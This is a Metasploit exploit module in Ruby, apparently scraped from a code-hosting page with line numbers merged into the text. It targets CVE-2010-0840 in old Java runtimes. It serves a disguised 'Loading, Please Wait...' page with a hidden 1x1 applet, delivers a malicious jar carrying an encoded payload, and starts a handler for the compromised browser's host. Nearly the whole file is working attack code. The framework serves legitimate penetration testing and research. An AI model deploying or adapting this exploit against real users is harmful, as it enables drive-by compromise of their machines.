Path: blob/master/modules/exploits/multi/browser/java_trusted_chain.rb
29013 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# Superceded by java_atomicreferencearray11# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in Java Runtime Environment21that allows an untrusted method to run in a privileged context. The22vulnerability affects version 6 prior to update 19 and version 523prior to update 23.24},25'License' => MSF_LICENSE,26'Author' => [27'Sami Koivu', # Discovery28'Matthias Kaiser', # PoC29'egypt' # metasploit module30],31'References' => [32[ 'CVE', '2010-0840' ],33[ 'OSVDB', '63483' ],34[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],35],36'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },37'Targets' => [38[39'Generic (Java Payload)',40{41'Arch' => ARCH_JAVA42}43],44[45'Windows Universal',46{47'Arch' => ARCH_X86,48'Platform' => 'win'49}50],51[52'Linux x86',53{54'Arch' => ARCH_X86,55'Platform' => 'linux'56}57]58],59'DefaultTarget' => 0,60'DisclosureDate' => '2010-03-31',61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)68end6970def on_request_uri(cli, request)71if !request.uri.match(/\.jar$/i)72if !request.uri.match(%r{/$})73send_redirect(cli, get_resource + '/', '')74return75end7677print_status("#{name} handling request")7879send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })80return81end8283paths = [84[ 'vuln', 'Exploit.class' ],85[ 'vuln', 'Exploit$1.class' ],86[ 'vuln', 'Link.class' ],87]8889p = regenerate_payload(cli)9091jar = p.encoded_jar92paths.each do |path|931.upto(path.length - 1) do |idx|94full = path[0, idx].join('/') + '/'95if !(jar.entries.map { |e| e.name }.include?(full))96jar.add_file(full, '')97end98end99fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')100data = fd.read(fd.stat.size)101jar.add_file(path.join('/'), data)102fd.close103end104105print_status('Sending Applet.jar')106send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })107108handler(cli)109end110111def generate_html112html = '<html><head><title>Loading, Please Wait...</title></head>'113html += '<body><center><p>Loading, Please Wait...</p></center>'114html += '<applet archive="Exploit.jar" code="vuln.Exploit.class" width="1" height="1">'115html += '</applet></body></html>'116return html117end118end119120121